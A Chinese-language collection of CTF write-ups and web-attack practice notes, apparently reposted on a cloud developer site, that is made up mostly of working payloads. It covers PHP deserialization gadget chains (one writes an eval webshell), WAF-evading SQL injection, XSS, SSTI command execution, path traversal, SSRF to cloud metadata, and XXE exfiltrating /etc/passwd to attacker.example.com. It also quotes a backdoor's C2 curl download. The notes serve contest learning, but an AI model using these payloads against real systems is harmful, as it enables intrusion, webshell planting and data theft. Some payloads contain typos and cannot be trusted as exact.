一.山城杯

(1).贪吃蛇

你真的会玩贪吃蛇吗?提交答案格式:flag{xxx}。

题目禁用F12可以直接用ctrl+shift+i打开开发者工具

访问这个js胜利的地址,bp抓包,发现跳转flag.php

2.web4

这道文件上传,可以上传php3绕过过滤或者phtml绕过,改其他数字也可被解析成php

3.打气球

与贪吃蛇一样的,产看js,找到最终php访问,bp查看跳转,找到flag.php

4.反序列化

<?php @include 'common_ui.inc';?>

<?php

class Low{

    public $user1;

    public $user2;

    function __construct($a, $b){

        $this->user1 = $a;

        $this->user2 = $b;

    }

}

class Mid{

    public $mid;

    function __destruct(){

        $high = 'nice,'.$this->mid;

        echo $high;

    }

}

class High{

    public $high;

    function __toString(){

        //flag.php

        include "flag.php";

        if($this->high=='flag.php')

        {

            echo $flag;

            echo "<br/>";

        }

        return 'good job';

    }

}

if(isset($_GET['a'])&&isset($_GET['b']))

{

    $a = new Low($_GET['a'],$_GET['b']);

    $b = unserialize(str_replace('******', chr(0) . '$' , serialize($a)));

    echo "<br>";

}

else

{

    highlight_file("./index.php");

}

?>

经过str_replace替换发生错位,user2开头被屏蔽,里面的对象被触发,然后就是Mid->__destruct → High->__toString()触发flag

Low实例化:

O:3:"Low":2:{

  s:5:"user1";s:30:"******************************";

  s:5:"user2";s:71:"";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}};

}

构造: http://url/?a=******************************&b=%22;s:5:%22user2%22;O:3:%22Mid%22:1:{s:3:%22mid%22;O:4:%22High%22:1:{s:4:%22high%22;s:8:%22flag.php%22;}}

5.命令执行:

爆破命令执行函数,查看那些回显不同,比如nc两个字符不同,测试echo nc回显,推测eval执行,机制检测带有nc可以执行eval

构造payload:?CIMER=ECHO “nc”;$comtents=file_get_contents(“/flag”);echo $contents;

二. 第十九届全国大学生信息安全竞赛

1. AI_WAF

题目内容:小路想获取NexaData公司储存的秘密,但是该公司的网站使用了AI的WAF进行防护,小路看到WAF后一脸懵逼,所以来找你求救,你能帮助她吗?

注入点在右上角搜索框中,经过试错可以确定AI检测UNION、SELECT等SQL关键词

(1)尝试获取库名:

' /*!50000UNION*/ /*!50000SELECT*/ 1,database(),1 #

(2)获取所有表名: ' /*!50000UNION*/ /*!50000SELECT*/ 1,GROUP_CONCAT(TABLE_NAME),1 /*!50000FROM*/ information_schema.TABLES /*!50000WHERE*/ TABLE_SCHEMA=database() #

(3) 获取列名

' /*!50000UNION*/ /*!50000SELECT*/ 1,GROUP_CONCAT(COLUMN_NAME),1 /*!50000FROM*/ information_schema.COLUMNS /*!50000WHERE*/ TABLE_NAME='where_is_my_flagggggg' #

(4) 获取Flag

' /*!50000UNION*/ /*!50000SELECT*/ 1,Th15_ls_f149,1 /*!50000FROM*/ where_is_my_flagggggg #

2. hellogate

访问容器环境是一张jfif图片,保存后发现在图片末存在php代码

<?phperror_reporting(0);class A {    public $handle;    public function triggerMethod() {        echo "" . $this->handle;     }}class B {    public $worker;    public $cmd;    public function __toString() {        return $this->worker->result;    }}class C {    public $cmd;    public function __get($name) {        echo file_get_contents($this->cmd);    }}$raw = isset($_POST['data']) ? $_POST['data'] : '';header('Content-Type: image/jpeg');readfile("muzujijiji.jpg");highlight_file(__FILE__);$obj = unserialize($_POST['data']);$obj->triggerMethod();?>

漏洞点

1. 未过滤的反序列化: unserialize($_POST['data'])直接反序列化用户输入

2. 触发点: triggerMethod()执行字符串拼接,触发__toString()

3. 利用链: A->handle(B)->worker(C)->__get()->file_get_contents()

构造Payload

<?phpclass C {    public $cmd = "/flag";}class B {    public $worker;}class A {    public $handle;}$c = new C();$b = new B();$b->worker = $c;$a = new A();$a->handle = $b;echo serialize($a);?>

3. redjs

小明在服务器上部署了一个常用的框架,请你帮忙看看是否有问题。

直接看版本发现典型漏洞,去github查找标准的CVE-2025-55182

CVE-2025–55182是React Server Components (RSC) Flight协议实现中的一个不安全的反序列化漏洞。 它允许未经认证的攻击者,通过构造利用原型污染和不安全属性访问模式的恶意HTTP载荷,在服务器上执行任意JavaScript代码

这里直接用exp:https://github.com/Spritualkb/CVE-2025-55182-exp  

4. dedecms

最新的V5.7.118版本,在/member处注册账号,登录

跳转会员中心,可以看到存在两个用户,分别是Aa123456789、admin

使用弱口令Aa123456789/Aa123456789登录后台/dede

点击会员-注册会员列表-提升  

把刚才注册的会员asd提升为超级管理员  

然后切换到asd账户,在后台首页可以上传文件

经过简单的测试发现使用php一句话会被拦截,所以直接上传图片马

然后上传一个包含php代码

这里注意,上传的php代码不能包含GET、POST参数,会被拦截,所以直接写死图片马的相对路径就可以

5.流量分析

SnakeBackdoor-1

题目内容:

近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}

用CTF-NetA-V0.3.0导出http流量,得到httpdata.txt

在1911行,可以明显看出这时是尝试的最后一次密码

username=admin&password=zxcvbnm123

flag{xcvbnm123}

SnakeBackdoor-2

题目内容:

攻击者通过漏洞利用获取Flask应用的 `SECRET_KEY` 是什么,结果提交形式:flag{xxxxxxxxxx}

在pcap文件中查找`/admin/preview`路径的POST请求

在HTTP响应中,可以看到Flask配置的完整输出:

flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3

题目内容:

攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的**密钥字符串(Key)** ,结果提交形式:flag{xxxxxxxx}

攻击者通过Jinja2模板注入执行了多层混淆的Python代码,最终在服务器上植入了一个后门。需要解码这个多层混淆的payload,找出其中使用的加密密钥

在pcap文件中找到 /admin/preview 的POST请求,payload为:

preview_content={{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('...'))")}}

这是一个base64编码后的Python代码,逐个解码

最终在第38层找到了完整的Python代码

解码后的Python代码包含后门处理函数,其中定义了RC4加密密钥:

flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4

题目内容:

攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

使用之前找到的RC4密钥解密后门通信:

查找文件下载命令

在后门通信中找到下载命令:

curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip

攻击者从C2服务器下载了shell.zip文件

查找解压命令

unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip

查找文件重命名和执行

flag{python3.13}

三.日常刷题总结

Sql注入一个延迟,一个布尔,一个union,一个宽字符注入,一个二次注入

1‘or 1=1 – +

flag{sqli_retrieve_hidden_data}

' or 1=1 #

flag{sql_injection_login_bypass}

union注入?id='union select 1,2,3#

flag{union_injection_data_leak}

延迟注入1‘ and 1=1 sleep(5)#

报错注入1’ and length(database())=1 #

Xss反射型:<script>alert(“xss”)</scipt>

flag{reflected_xss_html_context}

dom型:

<script>alert(document.domain)</script>

<img src=x onerror=alert(1)>

此处是由于配置,未对Search进行函数处理,没有反应,只能验证存在dom漏洞:

“”“

function doSearch() {

  // 获取输入框的内容

  let searchContent = document.getElementById('search-input').value;

  // 将内容显示到搜索结果区域

  document.getElementById('search-result').innerHTML = '搜索内容:' + searchContent;

}

““”

window.doSearch = function() {

  // 获取输入框内容

  let searchContent = document.getElementById('search-input').value;

  // 显示到结果区域

  document.getElementById('search-result').innerHTML = '搜索内容:' + searchContent;

};全局

<button type="button" onclick="let val=document.getElementById('search-input').value;document.write(val)">搜索</button>

Ssti执行命令

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

需要过滤将前面闭合一下

">{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}

123.php

http://2130706433/admin

http://169.254.169.254/latest/meta-data/

路径遍历穿越

../../../../../etc/passwd

....//....//....//etc/passwd

换行符执行命令

%0a

爆破

Admin

Amdin123

flag{5o9neeztnn9jdf87xwqmclxg9g6g72ug}

xxe

<?xml version="1.0" encoding="UTF-8"?>             <!--xml声明-->

<!DOCTYPE author [

  <!ENTITY writer "Donald Duck.">                 <!--内部实体声明-->

  <!ENTITY xxe SYSTEM "file:///etc/passwd">          <!--外部实体声明-->

]>                            <!--DTD部分-->

<author>&writer;&xxe;</author>          <!--xml部分-->

外发:

<?xml version="1.0"?>

<!DOCTYPE foo [

  <!ENTITY % file SYSTEM "file:///etc/passwd">

  <!ENTITY % exfil "<!ENTITY send SYSTEM 'http://attacker.example.com/?p=%file;'>">

  %exfil;

]>

<foo>&send;</foo>

内网

<?xml version="1.0"?>

<!DOCTYPE stockCheck [

  <!ENTITY xxe SYSTEM "http://127.0.0.1/内网服务路径">

]>

<stockCheck>

  <productId>&xxe;</productId>

</stockCheck>

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE svg [

  <!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">

  <!-- 引用外部实体,将/etc/passwd内容嵌入SVG文本 -->

  <text x="10" y="20">&xxe;</text>

</svg>

class Evil {

    public $filename;  // 要写入的文件路径

    public $content;   // 要写入的文件内容

    // 反序列化后对象销毁时触发__destruct

    public function __destruct() {

        file_put_contents($this->filename, $this->content);

    }

}

// 实例化并赋值(写入一句话木马到网站根目录)

$evil = new Evil();

$evil->filename = "/var/www/html/shell.php";  // 网站可执行目录(实验默认路径)

$evil->content = "<?php eval(\$_POST['cmd']);?>";  // PHP一句话木马

1' AND LENGTH((SELECT password FROM users WHERE username='administrator')) = 8—

1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='administrator'), 1, 1)) = 97—

Session=Tzo0OiJFdmlsIjoyOntzOjQ6ImZpbGUiO3M6OToic2hlbGwucGhwIjtzOjQ6ImRhdGEiO3M6Mjg6Ijw/cGhwIGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4iO30=

原序列化数据中admin权限是b:0(普通用户),需改为b:1(管理员),修正后的序列化字符串为:

php

运行

a:2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1}

步骤 2:重新编码(匹配原 session 格式)

  1. Base64 编码:将修正后的序列化字符串编码为 Base64:

plaintext

YToyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=

  1. URL 编码:对 Base64 结果进行 URL 编码(匹配原 session 的%3D格式):

plaintext

YToyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3D

flag{j5pifnkcpuvk4jnfmiglivpxnwqdnchs}

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐